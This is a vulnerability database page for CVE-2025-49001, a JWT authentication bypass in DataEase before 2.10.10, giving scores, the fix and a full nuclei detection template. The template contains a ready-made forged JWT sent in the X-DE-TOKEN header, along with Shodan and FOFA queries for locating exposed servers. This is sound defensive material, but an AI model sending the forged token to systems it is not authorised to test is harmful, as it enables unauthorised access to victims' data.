Browse / CVEs / CVE-2025-49001
CVE-2025-49001· dataease / dataease· CWE-287
DataEase < 2.10.10 - JWT Authentication Bypass
criticalseverity
9.8CVSS score
23.1%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
Impact
Users can forge JWT tokens, potentially gaining unauthorized access to the system.
Fix
Update to version 2.10.10 or later.
How to confirm it
Send: GET {{BaseURL}}/de2api/user/info
Positive when: status_code == 401 and contains(body, "token is empty")
Send: GET /de2api/user/info
Positive when: status 400 AND contains in header "de-gateway-flag" and "hmacsha256" AND contains "getWriter() has already been called"Run it with nuclei: nuclei -id CVE-2025-49001 -u <target>
The full check
id: CVE-2025-49001
info:
name: DataEase < 2.10.10 - JWT Authentication Bypass
author: YunSeoJo,aryu-ru
severity: critical
description: |
DataEase < 2.10.10 contains a broken authentication caused by ineffective secret verification, letting users forge JWT tokens, exploit requires no special privileges.
impact: |
Users can forge JWT tokens, potentially gaining unauthorized access to the system.
remediation: |
Update to version 2.10.10 or later.
reference:
- https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
- https://github.com/dataease/dataease
- https://nvd.nist.gov/vuln/detail/CVE-2025-49001
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-49001
cwe-id: CWE-287
epss-score: 0.23058
epss-percentile: 0.9777
metadata:
verified: true
max-request: 2
vendor: dataease
product: dataease
shodan-query: http.title:"DataEase"
fofa-query: title="DataEase"
tags: cve,cve2025,dataease,auth-bypass,jwt,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/de2api/user/info"
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "token is empty")'
condition: and
internal: true
- raw:
- |
GET /de2api/user/info HTTP/1.1
Host: {{Hostname}}
X-DE-TOKEN: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjo5OTk5OTk5OTk5fQ.tDSRWgqgE9BTy9NDpTE0ZAI2GKxOFPllYz-jOJu635A
matchers-condition: and
matchers:
- type: status
status:
- 400
- type: word
part: header
words:
- "de-gateway-flag"
- "hmacsha256"
condition: and
case-insensitive: true
- type: word
part: body
words:
- "getWriter() has already been called"
extractors:
- type: kval
part: header
kval:
- x_de_execute_versionReferences
- https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
- https://github.com/dataease/dataease
- https://nvd.nist.gov/vuln/detail/CVE-2025-49001
Use this check only on systems you are authorised to test. Where the data comes from